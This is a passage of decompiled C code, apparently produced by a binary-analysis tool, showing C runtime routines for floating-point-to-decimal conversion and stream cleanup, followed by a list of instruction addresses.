																				_t894 = _t882 + 1 + _t1255;
																				__eflags = _t894;
																				_v1864 = _t894;
																				_t882 = _v1888;
																			}
																			_t889 =  *(_v1908 + _t882 * 4);
																			asm("adc edx, 0x0");
																			 *(_t1276 + _t1102 * 4 - 0x740) =  *(_t1276 + _t1102 * 4 - 0x740) + _t889 * _v1896 + _t1209;
																			asm("adc edx, 0x0");
																			_t882 = _v1888 + 1;
																			_t1102 = _t1102 + 1;
																			_v1888 = _t882;
																			_t1209 = _t889 * _v1896 >> 0x20;
																			_t1160 = _v1864;
																			__eflags = _t882 - _v1892;
																			if(_t882 != _v1892) {
																				continue;
																			} else {
																				goto L235;
																			}
																			while(1) {
																				L235:
																				__eflags = _t1209;
																				if(_t1209 == 0) {
																					goto L240;
																				}
																				__eflags = _t1102 - 0x73;
																				if(_t1102 == 0x73) {
																					goto L258;
																				} else {
																					__eflags = _t1102 - _t1160;
																					if(_t1102 == _t1160) {
																						_t558 = _t1276 + _t1102 * 4 - 0x740;
																						 *_t558 =  *(_t1276 + _t1102 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t558;
																						_t564 = _t1102 + 1; // 0x1
																						_v1864 = _t564;
																					}
																					_t887 = _t1209;
																					_t1209 = 0;
																					 *(_t1276 + _t1102 * 4 - 0x740) =  *(_t1276 + _t1102 * 4 - 0x740) + _t887;
																					_t1160 = _v1864;
																					asm("adc edi, edi");
																					_t1102 = _t1102 + 1;
																					continue;
																				}
																				goto L246;
																			}
																			goto L240;
																		}
																		goto L235;
																	}
																} else {
																	__eflags = _t1255 - _t1160;
																	if(_t1255 == _t1160) {
																		 *(_t1276 + _t1255 * 4 - 0x740) =  *(_t1276 + _t1255 * 4 - 0x740) & _t881;
																		_t526 = _t1255 + 1; // 0x1
																		_t1160 = _t526;
																		_v1864 = _t1160;
																	}
																	goto L242;
																}
																goto L246;
																L242:
																_t1255 = _t1255 + 1;
																__eflags = _t1255 - _t1101;
															} while (_t1255 != _t1101);
															goto L243;
														}
													} else {
														_t1210 = _v468;
														_v472 = _t1101;
														E0026B3C1( &_v468, _t1067,  &_v1396, _t1101 << 2);
														_t1282 =  &(_t1282[4]);
														__eflags = _t1210;
														if(_t1210 == 0) {
															goto L203;
														} else {
															__eflags = _t1210 - 1;
															if(_t1210 == 1) {
																goto L245;
															} else {
																__eflags = _v472;
																if(_v472 == 0) {
																	goto L245;
																} else {
																	_t1103 = 0;
																	_v1896 = _v472;
																	_t1256 = 0;
																	__eflags = 0;
																	do {
																		_t903 = _t1210;
																		_t1161 = _t903 *  *(_t1276 + _t1256 * 4 - 0x1d0) >> 0x20;
																		 *(_t1276 + _t1256 * 4 - 0x1d0) = _t903 *  *(_t1276 + _t1256 * 4 - 0x1d0) + _t1103;
																		asm("adc edx, 0x0");
																		_t1256 = _t1256 + 1;
																		_t1103 = _t1161;
																		__eflags = _t1256 - _v1896;
																	} while (_t1256 != _v1896);
																	goto L208;
																}
															}
														}
													}
												} else {
													_t1211 = _v1396;
													__eflags = _t1211;
													if(_t1211 != 0) {
														__eflags = _t1211 - 1;
														if(_t1211 == 1) {
															goto L245;
														} else {
															__eflags = _v472;
															if(_v472 == 0) {
																goto L245;
															} else {
																_t1104 = 0;
																_v1896 = _v472;
																_t1257 = 0;
																__eflags = 0;
																do {
																	_t908 = _t1211;
																	_t1162 = _t908 *  *(_t1276 + _t1257 * 4 - 0x1d0) >> 0x20;
																	 *(_t1276 + _t1257 * 4 - 0x1d0) = _t908 *  *(_t1276 + _t1257 * 4 - 0x1d0) + _t1104;
																	asm("adc edx, 0x0");
																	_t1257 = _t1257 + 1;
																	_t1104 = _t1162;
																	__eflags = _t1257 - _v1896;
																} while (_t1257 != _v1896);
																L208:
																__eflags = _t1103;
																if(_t1103 == 0) {
																	goto L245;
																} else {
																	_t906 = _v472;
																	__eflags = _t906 - 0x73;
																	if(_t906 >= 0x73) {
																		L258:
																		_v2408 = 0;
																		_v472 = 0;
																		E0026B3C1( &_v468, _t1067,  &_v2404, 0);
																		_t1282 =  &(_t1282[4]);
																		_t877 = 0;
																	} else {
																		 *(_t1276 + _t906 * 4 - 0x1d0) = _t1103;
																		_v472 = _v472 + 1;
																		goto L245;
																	}
																}
															}
														}
													} else {
														L203:
														_v2408 = 0;
														_v472 = 0;
														_push(0);
														_t874 =  &_v2404;
														L244:
														_push(_t874);
														_push(_t1067);
														_push( &_v468);
														E0026B3C1();
														_t1282 =  &(_t1282[4]);
														L245:
														_t877 = 1;
													}
												}
												L246:
												__eflags = _t877;
												if(_t877 == 0) {
													_v2408 = _v2408 & 0x00000000;
													_v472 = _v472 & 0x00000000;
													_push(0);
													L261:
													_push( &_v2404);
													_t855 =  &_v468;
													goto L262;
												} else {
													goto L247;
												}
												goto L263;
												L247:
												_t813 = _v1880 - _v1872;
												__eflags = _t813;
												_v1880 = _t813;
											} while (_t813 != 0);
											_t1088 = _v1884;
											goto L249;
										}
									} else {
										_t911 = _t811 / _t1087;
										_v1908 = _t911;
										_t1105 = _t811 % _t1087;
										_v1896 = _t1105;
										__eflags = _t911;
										if(_t911 == 0) {
											L184:
											__eflags = _t1105;
											if(_t1105 != 0) {
												_t1212 =  *(0x276d6c + _t1105 * 4);
												__eflags = _t1212;
												if(_t1212 != 0) {
													__eflags = _t1212 - 1;
													if(_t1212 != 1) {
														_t912 = _v936;
														_v1896 = _t912;
														__eflags = _t912;
														if(_t912 != 0) {
															_t1258 = 0;
															_t1106 = 0;
															__eflags = 0;
															do {
																_t913 = _t1212;
																_t1166 = _t913 *  *(_t1276 + _t1106 * 4 - 0x3a0) >> 0x20;
																 *(_t1276 + _t1106 * 4 - 0x3a0) = _t913 *  *(_t1276 + _t1106 * 4 - 0x3a0) + _t1258;
																asm("adc edx, 0x0");
																_t1106 = _t1106 + 1;
																_t1258 = _t1166;
																__eflags = _t1106 - _v1896;
															} while (_t1106 != _v1896);
															__eflags = _t1258;
															if(_t1258 != 0) {
																_t916 = _v936;
																__eflags = _t916 - 0x73;
																if(_t916 >= 0x73) {
																	goto L186;
																} else {
																	 *(_t1276 + _t916 * 4 - 0x3a0) = _t1258;
																	_v936 = _v936 + 1;
																}
															}
														}
													}
												} else {
													L186:
													_v2408 = 0;
													_v936 = 0;
													_push(0);
													goto L190;
												}
											}
										} else {
											do {
												__eflags = _t911 - 0x26;
												if(_t911 > 0x26) {
													_t911 = 0x26;
												}
												_t1107 =  *(0x276cd6 + _t911 * 4) & 0x000000ff;
												_v1888 = _t911;
												_v1400 = ( *(0x276cd6 + _t911 * 4) & 0x000000ff) + ( *(0x276cd7 + _t911 * 4) & 0x000000ff);
												E0025F1A0(_t1107 << 2,  &_v1396, 0, _t1107 << 2);
												_t929 = E0025F300( &(( &_v1396)[_t1107]), 0x2763d0 + ( *(0x276cd4 + _v1888 * 4) & 0x0000ffff) * 4, ( *(0x276cd7 + _t911 * 4) & 0x000000ff) << 2);
												_t1108 = _v1400;
												_t1282 =  &(_t1282[6]);
												_v1892 = _t1108;
												__eflags = _t1108 - 1;
												if(_t1108 > 1) {
													__eflags = _v936 - 1;
													if(_v936 > 1) {
														__eflags = _t1108 - _v936;
														_t1215 =  &_v1396;
														_t930 = _t929 & 0xffffff00 | _t1108 - _v936 > 0x00000000;
														__eflags = _t930;
														if(_t930 != 0) {
															_t1167 =  &_v932;
														} else {
															_t1215 =  &_v932;
															_t1167 =  &_v1396;
														}
														_v1876 = _t1167;
														__eflags = _t930;
														if(_t930 == 0) {
															_t1108 = _v936;
														}
														_v1880 = _t1108;
														__eflags = _t930;
														if(_t930 != 0) {
															_v1892 = _v936;
														}
														_t1168 = 0;
														_t1260 = 0;
														_v1864 = 0;
														__eflags = _t1108;
														if(_t1108 == 0) {
															L177:
															_v936 = _t1168;
															_t932 = _t1168 << 2;
															__eflags = _t932;
															goto L178;
														} else {
															_t1216 = _t1215 -  &_v1860;
															__eflags = _t1216;
															_v1928 = _t1216;
															do {
																_t940 =  *(_t1276 + _t1216 + _t1260 * 4 - 0x740);
																_v1884 = _t940;
																__eflags = _t940;
																if(_t940 != 0) {
																	_t941 = 0;
																	_t1217 = 0;
																	_t1109 = _t1260;
																	_v1872 = 0;
																	__eflags = _v1892;
																	if(_v1892 == 0) {
																		L174:
																		__eflags = _t1109 - 0x73;
																		if(_t1109 == 0x73) {
																			goto L187;
																		} else {
																			_t1216 = _v1928;
																			_t1108 = _v1880;
																			goto L176;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1109 - 0x73;
																			if(_t1109 == 0x73) {
																				goto L169;
																			}
																			__eflags = _t1109 - _t1168;
																			if(_t1109 == _t1168) {
																				 *(_t1276 + _t1109 * 4 - 0x740) =  *(_t1276 + _t1109 * 4 - 0x740) & 0x00000000;
																				_t953 = _t941 + 1 + _t1260;
																				__eflags = _t953;
																				_v1864 = _t953;
																				_t941 = _v1872;
																			}
																			_t948 =  *(_v1876 + _t941 * 4);
																			asm("adc edx, 0x0");
																			 *(_t1276 + _t1109 * 4 - 0x740) =  *(_t1276 + _t1109 * 4 - 0x740) + _t948 * _v1884 + _t1217;
																			asm("adc edx, 0x0");
																			_t941 = _v1872 + 1;
																			_t1109 = _t1109 + 1;
																			_v1872 = _t941;
																			_t1217 = _t948 * _v1884 >> 0x20;
																			_t1168 = _v1864;
																			__eflags = _t941 - _v1892;
																			if(_t941 != _v1892) {
																				continue;
																			} else {
																				goto L169;
																			}
																			while(1) {
																				L169:
																				__eflags = _t1217;
																				if(_t1217 == 0) {
																					goto L174;
																				}
																				__eflags = _t1109 - 0x73;
																				if(_t1109 == 0x73) {
																					L187:
																					__eflags = 0;
																					_v2408 = 0;
																					_v936 = 0;
																					_push(0);
																					_t943 =  &_v2404;
																					goto L188;
																				} else {
																					__eflags = _t1109 - _t1168;
																					if(_t1109 == _t1168) {
																						_t370 = _t1276 + _t1109 * 4 - 0x740;
																						 *_t370 =  *(_t1276 + _t1109 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t370;
																						_t376 = _t1109 + 1; // 0x1
																						_v1864 = _t376;
																					}
																					_t946 = _t1217;
																					_t1217 = 0;
																					 *(_t1276 + _t1109 * 4 - 0x740) =  *(_t1276 + _t1109 * 4 - 0x740) + _t946;
																					_t1168 = _v1864;
																					asm("adc edi, edi");
																					_t1109 = _t1109 + 1;
																					continue;
																				}
																				goto L181;
																			}
																			goto L174;
																		}
																		goto L169;
																	}
																} else {
																	__eflags = _t1260 - _t1168;
																	if(_t1260 == _t1168) {
																		 *(_t1276 + _t1260 * 4 - 0x740) =  *(_t1276 + _t1260 * 4 - 0x740) & _t940;
																		_t338 = _t1260 + 1; // 0x1
																		_t1168 = _t338;
																		_v1864 = _t1168;
																	}
																	goto L176;
																}
																goto L181;
																L176:
																_t1260 = _t1260 + 1;
																__eflags = _t1260 - _t1108;
															} while (_t1260 != _t1108);
															goto L177;
														}
													} else {
														_t1218 = _v932;
														_v936 = _t1108;
														E0026B3C1( &_v932, _t1067,  &_v1396, _t1108 << 2);
														_t1282 =  &(_t1282[4]);
														__eflags = _t1218;
														if(_t1218 != 0) {
															__eflags = _t1218 - 1;
															if(_t1218 == 1) {
																goto L180;
															} else {
																__eflags = _v936;
																if(_v936 == 0) {
																	goto L180;
																} else {
																	_t1110 = 0;
																	_v1884 = _v936;
																	_t1261 = 0;
																	__eflags = 0;
																	do {
																		_t961 = _t1218;
																		_t1169 = _t961 *  *(_t1276 + _t1261 * 4 - 0x3a0) >> 0x20;
																		 *(_t1276 + _t1261 * 4 - 0x3a0) = _t961 *  *(_t1276 + _t1261 * 4 - 0x3a0) + _t1110;
																		asm("adc edx, 0x0");
																		_t1261 = _t1261 + 1;
																		_t1110 = _t1169;
																		__eflags = _t1261 - _v1884;
																	} while (_t1261 != _v1884);
																	goto L149;
																}
															}
														} else {
															_v1400 = 0;
															_v936 = 0;
															_push(0);
															_t933 =  &_v1396;
															goto L179;
														}
													}
												} else {
													_t1219 = _v1396;
													__eflags = _t1219;
													if(_t1219 != 0) {
														__eflags = _t1219 - 1;
														if(_t1219 == 1) {
															goto L180;
														} else {
															__eflags = _v936;
															if(_v936 == 0) {
																goto L180;
															} else {
																_t1111 = 0;
																_v1884 = _v936;
																_t1262 = 0;
																__eflags = 0;
																do {
																	_t968 = _t1219;
																	_t1170 = _t968 *  *(_t1276 + _t1262 * 4 - 0x3a0) >> 0x20;
																	 *(_t1276 + _t1262 * 4 - 0x3a0) = _t968 *  *(_t1276 + _t1262 * 4 - 0x3a0) + _t1111;
																	asm("adc edx, 0x0");
																	_t1262 = _t1262 + 1;
																	_t1111 = _t1170;
																	__eflags = _t1262 - _v1884;
																} while (_t1262 != _v1884);
																L149:
																__eflags = _t1110;
																if(_t1110 == 0) {
																	goto L180;
																} else {
																	_t964 = _v936;
																	__eflags = _t964 - 0x73;
																	if(_t964 < 0x73) {
																		 *(_t1276 + _t964 * 4 - 0x3a0) = _t1110;
																		_v936 = _v936 + 1;
																		goto L180;
																	} else {
																		_v1400 = 0;
																		_v936 = 0;
																		_push(0);
																		_t943 =  &_v1396;
																		L188:
																		_push(_t943);
																		_push(_t1067);
																		_push( &_v932);
																		E0026B3C1();
																		_t1282 =  &(_t1282[4]);
																		_t936 = 0;
																	}
																}
															}
														}
													} else {
														_t932 = 0;
														_v1864 = 0;
														_v936 = 0;
														L178:
														_push(_t932);
														_t933 =  &_v1860;
														L179:
														_push(_t933);
														_push(_t1067);
														_push( &_v932);
														E0026B3C1();
														_t1282 =  &(_t1282[4]);
														L180:
														_t936 = 1;
													}
												}
												L181:
												__eflags = _t936;
												if(_t936 == 0) {
													_v2408 = _v2408 & 0x00000000;
													_t404 =  &_v936;
													 *_t404 = _v936 & 0x00000000;
													__eflags =  *_t404;
													_push(0);
													L190:
													_push( &_v2404);
													_t855 =  &_v932;
													L262:
													_push(_t1067);
													_push(_t855);
													E0026B3C1();
													_t1282 =  &(_t1282[4]);
												} else {
													goto L182;
												}
												goto L263;
												L182:
												_t911 = _v1908 - _v1888;
												__eflags = _t911;
												_v1908 = _t911;
											} while (_t911 != 0);
											_t1105 = _v1896;
											goto L184;
										}
									}
									L263:
									_t1199 = _v1920;
									_t1248 = _t1199;
									_t1089 = _v472;
									_v1872 = _t1248;
									__eflags = _t1089;
									if(_t1089 != 0) {
										_t1252 = 0;
										_t1203 = 0;
										__eflags = 0;
										do {
											_t844 =  *(_t1276 + _t1203 * 4 - 0x1d0);
											_t1156 = 0xa;
											_t1157 = _t844 * _t1156 >> 0x20;
											 *(_t1276 + _t1203 * 4 - 0x1d0) = _t844 * _t1156 + _t1252;
											asm("adc edx, 0x0");
											_t1203 = _t1203 + 1;
											_t1252 = _t1157;
											__eflags = _t1203 - _t1089;
										} while (_t1203 != _t1089);
										_v1896 = _t1252;
										__eflags = _t1252;
										_t1248 = _v1872;
										if(_t1252 != 0) {
											_t1098 = _v472;
											__eflags = _t1098 - 0x73;
											if(_t1098 >= 0x73) {
												__eflags = 0;
												_v2408 = 0;
												_v472 = 0;
												E0026B3C1( &_v468, _t1067,  &_v2404, 0);
												_t1282 =  &(_t1282[4]);
											} else {
												 *(_t1276 + _t1098 * 4 - 0x1d0) = _t1157;
												_v472 = _v472 + 1;
											}
										}
										_t1199 = _t1248;
									}
									_t816 = E0026CA20( &_v472,  &_v936);
									_t1149 = 0xa;
									__eflags = _t816 - _t1149;
									if(_t816 != _t1149) {
										__eflags = _t816;
										if(_t816 != 0) {
											_t817 = _t816 + 0x30;
											__eflags = _t817;
											_t1248 = _t1199 + 1;
											 *_t1199 = _t817;
											_v1872 = _t1248;
											goto L282;
										} else {
											_t818 = _v1904 - 1;
										}
									} else {
										_v1904 = _v1904 + 1;
										_t1248 = _t1199 + 1;
										_t835 = _v936;
										 *_t1199 = 0x31;
										_v1872 = _t1248;
										__eflags = _t835;
										if(_t835 != 0) {
											_t1202 = 0;
											_t1251 = _t835;
											_t1097 = 0;
											__eflags = 0;
											do {
												_t836 =  *(_t1276 + _t1097 * 4 - 0x3a0);
												 *(_t1276 + _t1097 * 4 - 0x3a0) = _t836 * _t1149 + _t1202;
												asm("adc edx, 0x0");
												_t1097 = _t1097 + 1;
												_t1202 = _t836 * _t1149 >> 0x20;
												_t1149 = 0xa;
												__eflags = _t1097 - _t1251;
											} while (_t1097 != _t1251);
											_t1248 = _v1872;
											__eflags = _t1202;
											if(_t1202 != 0) {
												_t839 = _v936;
												__eflags = _t839 - 0x73;
												if(_t839 >= 0x73) {
													_v2408 = 0;
													_v936 = 0;
													E0026B3C1( &_v932, _t1067,  &_v2404, 0);
													_t1282 =  &(_t1282[4]);
												} else {
													 *(_t1276 + _t839 * 4 - 0x3a0) = _t1202;
													_v936 = _v936 + 1;
												}
											}
										}
										L282:
										_t818 = _v1904;
									}
									 *((intOrPtr*)(_v1924 + 4)) = _t818;
									_t1073 = _v1916;
									__eflags = _t818;
									if(_t818 >= 0) {
										__eflags = _t1073 - 0x7fffffff;
										if(_t1073 <= 0x7fffffff) {
											_t1073 = _t1073 + _t818;
											__eflags = _t1073;
										}
									}
									_t820 = _a24 - 1;
									__eflags = _t820 - _t1073;
									if(_t820 >= _t1073) {
										_t820 = _t1073;
									}
									_t821 = _t820 + _v1920;
									_v1916 = _t821;
									__eflags = _t1248 - _t821;
									if(__eflags != 0) {
										while(1) {
											_t822 = _v472;
											__eflags = _t822;
											if(__eflags == 0) {
												goto L303;
											}
											_t1200 = 0;
											_t1249 = _t822;
											_t1093 = 0;
											__eflags = 0;
											do {
												_t823 =  *(_t1276 + _t1093 * 4 - 0x1d0);
												 *(_t1276 + _t1093 * 4 - 0x1d0) = _t823 * 0x3b9aca00 + _t1200;
												asm("adc edx, 0x0");
												_t1093 = _t1093 + 1;
												_t1200 = _t823 * 0x3b9aca00 >> 0x20;
												__eflags = _t1093 - _t1249;
											} while (_t1093 != _t1249);
											_t1250 = _v1872;
											__eflags = _t1200;
											if(_t1200 != 0) {
												_t829 = _v472;
												__eflags = _t829 - 0x73;
												if(_t829 >= 0x73) {
													__eflags = 0;
													_v2408 = 0;
													_v472 = 0;
													E0026B3C1( &_v468, _t1067,  &_v2404, 0);
													_t1282 =  &(_t1282[4]);
												} else {
													 *(_t1276 + _t829 * 4 - 0x1d0) = _t1200;
													_v472 = _v472 + 1;
												}
											}
											_t828 = E0026CA20( &_v472,  &_v936);
											_t1201 = 8;
											_t1073 = _v1916 - _t1250;
											__eflags = _t1073;
											do {
												_t708 = _t828 % _v1912;
												_t828 = _t828 / _v1912;
												_t1154 = _t708 + 0x30;
												__eflags = _t1073 - _t1201;
												if(_t1073 >= _t1201) {
													 *((char*)(_t1201 + _t1250)) = _t1154;
												}
												_t1201 = _t1201 - 1;
												__eflags = _t1201 - 0xffffffff;
											} while (_t1201 != 0xffffffff);
											__eflags = _t1073 - 9;
											if(_t1073 > 9) {
												_t1073 = 9;
											}
											_t1248 = _t1250 + _t1073;
											_v1872 = _t1248;
											__eflags = _t1248 - _v1916;
											if(__eflags != 0) {
												continue;
											}
											goto L303;
										}
									}
									L303:
									 *_t1248 = 0;
									goto L309;
								}
							}
						}
					}
				} else {
					_t1073 = _t1239 & 0x000fffff;
					if((_t1191 | _t1239 & 0x000fffff) != 0) {
						goto L5;
					} else {
						_push(0x276d94);
						 *((intOrPtr*)(_v1924 + 4)) =  *(_v1924 + 4) & 0x00000000;
						L308:
						_push(_a24);
						_push(_t1058);
						if(E00268304() != 0) {
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E002686C9();
							asm("int3");
							E0025EB60(_t1145, 0x27aca0, 0x10);
							_v32 = _v32 & 0x00000000;
							E0026A271(8);
							_pop(_t1074);
							_t721 =  &_v8;
							 *_t721 = _v8 & 0x00000000;
							__eflags =  *_t721;
							_t1240 = 3;
							while(1) {
								_v36 = _t1240;
								__eflags = _t1240 -  *0x2a0274; // 0x200
								if(__eflags == 0) {
									break;
								}
								_t763 =  *0x2a0278; // 0x0
								_t764 =  *(_t763 + _t1240 * 4);
								__eflags = _t764;
								if(_t764 != 0) {
									__eflags =  *(_t764 + 0xc) >> 0x0000000d & 0x00000001;
									if(__eflags != 0) {
										_t773 =  *0x2a0278; // 0x0
										_push( *((intOrPtr*)(_t773 + _t1240 * 4)));
										_t774 = E0026F603(_t1074, _t1145, __eflags);
										__eflags = _t774 - 0xffffffff;
										if(_t774 != 0xffffffff) {
											_t731 =  &_v32;
											 *_t731 = _v32 + 1;
											__eflags =  *_t731;
										}
									}
									_t767 =  *0x2a0278; // 0x0
									DeleteCriticalSection( *((intOrPtr*)(_t767 + _t1240 * 4)) + 0x20);
									_t770 =  *0x2a0278; // 0x0
									E0026835E( *((intOrPtr*)(_t770 + _t1240 * 4)));
									_pop(_t1074);
									_t772 =  *0x2a0278; // 0x0
									_t737 = _t772 + _t1240 * 4;
									 *_t737 =  *(_t772 + _t1240 * 4) & 0x00000000;
									__eflags =  *_t737;
								}
								_t1240 = _t1240 + 1;
							}
							_v8 = 0xfffffffe;
							E0026E301();
							return E0025EBA6(_t1145);
						} else {
							L309:
							_t1289 = _v1936;
							if(_v1936 != 0) {
								E0026E961(_t1073, _t1289,  &_v1944);
							}
							return E0025EA8A(_v8 ^ _t1276);
						}
					}
				}
			}

0x0026cece
0x0026ced1
0x0026ced3
0x0026ced9
0x0026cee0
0x0026cee4
0x0026ceed
0x0026ceee
0x0026ceef
0x0026cef2
0x0026cef8
0x0026cefe
0x0026cf03
0x0026cf12
0x0026cf14
0x0026cf16
0x0026cf16
0x0026cf1d
0x0026cf27
0x0026cf2c
0x0026cf2f
0x0026cf53
0x0026cf57
0x0026cf5c
0x0026cf5d
0x0026cf5f
0x0026cf61
0x0026cf67
0x0026cf67
0x0026cf6e
0x0026cf6e
0x0026cf71
0x0026e221
0x00000000
0x0026cf77
0x0026cf77
0x0026cf77
0x0026cf7a
0x0026e21a
0x00000000
0x0026cf80
0x0026cf80
0x0026cf80
0x0026cf83
0x0026e213
0x00000000
0x0026cf89
0x0026cf89
0x0026cf8c
0x0026e20c
0x00000000
0x0026cf92
0x0026cf9b
0x0026cfa3
0x0026cfa6
0x0026cfa9
0x0026cfac
0x0026cfb2
0x0026cfba
0x0026cfc0
0x0026cfca
0x0026cfca
0x0026cfcd
0x0026cfd5
0x0026cfdc
0x0026cfdc
0x0026cfcf
0x0026cfcf
0x0026cfd1
0x0026cfe4
0x0026cfea
0x0026cfec
0x0026cff0
0x0026cff5
0x0026d002
0x0026d004
0x0026d00a
0x0026d00f
0x0026d010
0x0026d011
0x0026d01b
0x0026d020
0x0026d026
0x0026d02b
0x0026d034
0x0026d034
0x0026d036
0x0026d02d
0x0026d02d
0x0026d032
0x00000000
0x00000000
0x0026d032
0x0026d03c
0x0026d044
0x0026d046
0x0026d04f
0x0026d050
0x0026d056
0x0026d058
0x0026d44b
0x0026d451
0x0026d570
0x0026d570
0x0026d577
0x0026d577
0x0026d577
0x0026d57e
0x0026d581
0x0026d588
0x0026d588
0x0026d583
0x0026d583
0x0026d583
0x0026d58c
0x0026d58d
0x0026d58f
0x0026d592
0x0026d595
0x0026d598
0x0026d59e
0x0026d5a1
0x0026d5a4
0x0026d5ae
0x0026d5ae
0x0026d5ae
0x0026d5a6
0x0026d5a6
0x0026d5a8
0x00000000
0x0026d5aa
0x0026d5aa
0x0026d5aa
0x0026d5a8
0x0026d5b0
0x0026d5b2
0x0026d653
0x0026d653
0x0026d660
0x0026d660
0x0026d660
0x0026d676
0x0026d67b
0x0026d5b8
0x0026d5b8
0x0026d5ba
0x00000000
0x0026d5c0
0x0026d5c2
0x0026d5c3
0x0026d5c5
0x0026d5c7
0x0026d5c7
0x0026d5c9
0x0026d5cc
0x0026d5d4
0x0026d5d6
0x0026d5d9
0x0026d5df
0x0026d5df
0x0026d5e1
0x0026d5ed
0x0026d5ed
0x0026d5ed
0x0026d5e3
0x0026d5e5
0x0026d5e5
0x0026d5f4
0x0026d5f7
0x0026d5f9
0x0026d600
0x0026d600
0x0026d5fb
0x0026d5fb
0x0026d5fb
0x0026d608
0x0026d612
0x0026d618
0x0026d619
0x0026d61e
0x0026d624
0x0026d627
0x00000000
0x00000000
0x0026d629
0x0026d629
0x0026d631
0x0026d631
0x0026d637
0x0026d63e
0x0026d64b
0x0026d640
0x0026d640
0x0026d643
0x0026d643
0x0026d63e
0x0026d5ba
0x0026d687
0x0026d697
0x0026d6a4
0x0026d6a6
0x0026d6ad
0x0026d457
0x0026d457
0x0026d460
0x0026d461
0x0026d46b
0x0026d471
0x0026d473
0x0026d479
0x0026d479
0x0026d47b
0x0026d47b
0x0026d482
0x0026d489
0x00000000
0x00000000
0x0026d48f
0x0026d492
0x0026d495
0x00000000
0x0026d497
0x0026d497
0x0026d497
0x0026d497
0x0026d49e
0x0026d4a1
0x0026d4a8
0x0026d4a8
0x0026d4a3
0x0026d4a3
0x0026d4a3
0x0026d4ac
0x0026d4af
0x0026d4b1
0x0026d4b3
0x0026d4b9
0x0026d4bf
0x0026d4c1
0x0026d4c1
0x0026d4c1
0x0026d4c8
0x0026d4c8
0x0026d4ca
0x0026d4d6
0x0026d4d6
0x0026d4d6
0x0026d4cc
0x0026d4ce
0x0026d4ce
0x0026d4dd
0x0026d4e0
0x0026d4e2
0x0026d4e9
0x0026d4e9
0x0026d4e4
0x0026d4e4
0x0026d4e4
0x0026d4f1
0x0026d4fc
0x0026d502
0x0026d503
0x0026d508
0x0026d50e
0x0026d511
0x00000000
0x00000000
0x0026d513
0x0026d513
0x0026d51d
0x0026d528
0x0026d530
0x0026d536
0x0026d541
0x0026d547
0x0026d54e
0x0026d561
0x0026d568
0x0026d568
0x00000000
0x0026d495
0x0026d47b
0x00000000
0x0026d473
0x0026d6b0
0x0026d6b0
0x0026d6b6
0x0026d6bb
0x0026d6c1
0x0026d6d4
0x0026d6d9
0x0026d05e
0x0026d05e
0x0026d067
0x0026d068
0x0026d072
0x0026d078
0x0026d07a
0x0026d280
0x0026d288
0x0026d28b
0x0026d290
0x0026d293
0x0026d29b
0x0026d29f
0x0026d2a5
0x0026d2ab
0x0026d2b0
0x0026d2b7
0x0026d2b8
0x0026d2b8
0x0026d2b8
0x0026d2bf
0x0026d2c2
0x0026d2ca
0x0026d2d0
0x0026d2d5
0x0026d2d5
0x0026d2d2
0x0026d2d2
0x0026d2d2
0x0026d2d9
0x0026d2da
0x0026d2dc
0x0026d2df
0x0026d2e5
0x0026d2eb
0x0026d2ee
0x0026d2f1
0x0026d2f7
0x0026d2fa
0x0026d2fd
0x0026d307
0x0026d307
0x0026d307
0x0026d2ff
0x0026d2ff
0x0026d301
0x00000000
0x0026d303
0x0026d303
0x0026d303
0x0026d301
0x0026d309
0x0026d30b
0x0026d3fd
0x0026d3fd
0x0026d3ff
0x0026d405
0x0026d40b
0x0026d420
0x0026d425
0x0026d311
0x0026d311
0x0026d313
0x00000000
0x0026d319
0x0026d31b
0x0026d31c
0x0026d31e
0x0026d320
0x0026d322
0x0026d322
0x0026d328
0x0026d32a
0x0026d330
0x0026d333
0x0026d341
0x0026d347
0x0026d347
0x0026d349
0x0026d34c
0x0026d352
0x0026d352
0x0026d354
0x00000000
0x00000000
0x0026d356
0x0026d358
0x0026d35e
0x0026d35e
0x0026d35a
0x0026d35a
0x0026d35a
0x0026d363
0x0026d365
0x0026d36c
0x0026d36c
0x0026d367
0x0026d367
0x0026d367
0x0026d392
0x0026d398
0x0026d39b
0x0026d3a1
0x0026d3a8
0x0026d3a9
0x0026d3aa
0x0026d3b0
0x0026d3b3
0x0026d3b5
0x00000000
0x0026d3b5
0x00000000
0x0026d3b3
0x0026d3bd
0x0026d3c3
0x0026d3cb
0x0026d3cb
0x0026d3cc
0x0026d3ce
0x0026d3d2
0x0026d3da
0x0026d3da
0x0026d3da
0x0026d3dc
0x0026d3e3
0x0026d3e8
0x0026d3f5
0x0026d3ea
0x0026d3ed
0x0026d3ed
0x0026d3e8
0x0026d313
0x0026d428
0x0026d432
0x0026d438
0x0026d43e
0x0026d444
0x0026d080
0x0026d080
0x0026d080
0x0026d082
0x0026d089
0x0026d090
0x00000000
0x00000000
0x0026d096
0x0026d099
0x0026d09c
0x00000000
0x0026d09e
0x0026d0a6
0x0026d0ab
0x0026d0b0
0x0026d0b1
0x0026d0b3
0x0026d0bb
0x0026d0bf
0x0026d0c5
0x0026d0cb
0x0026d0d0
0x0026d0d7
0x0026d0d7
0x0026d0d8
0x0026d0db
0x0026d0e3
0x0026d0e9
0x0026d0ee
0x0026d0ee
0x0026d0eb
0x0026d0eb
0x0026d0eb
0x0026d0f2
0x0026d0f3
0x0026d0f5
0x0026d0f8
0x0026d0fe
0x0026d104
0x0026d107
0x0026d10a
0x0026d110
0x0026d113
0x0026d116
0x0026d120
0x0026d120
0x0026d120
0x0026d118
0x0026d118
0x0026d11a
0x00000000
0x0026d11c
0x0026d11c
0x0026d11c
0x0026d11a
0x0026d122
0x0026d124
0x0026d219
0x0026d219
0x0026d21b
0x0026d221
0x0026d227
0x0026d23c
0x0026d241
0x0026d12a
0x0026d12a
0x0026d12c
0x00000000
0x0026d132
0x0026d134
0x0026d135
0x0026d137
0x0026d139
0x0026d13b
0x0026d13b
0x0026d141
0x0026d143
0x0026d149
0x0026d14c
0x0026d15a
0x0026d160
0x0026d160
0x0026d162
0x0026d165
0x0026d16b
0x0026d16b
0x0026d16d
0x00000000
0x00000000
0x0026d16f
0x0026d171
0x0026d177
0x0026d177
0x0026d173
0x0026d173
0x0026d173
0x0026d17c
0x0026d17e
0x0026d18b
0x0026d18b
0x0026d180
0x0026d186
0x0026d186
0x0026d1a9
0x0026d1b1
0x0026d1b8
0x0026d1bf
0x0026d1c0
0x0026d1c3
0x0026d1c9
0x0026d1cf
0x0026d1d2
0x0026d1d4
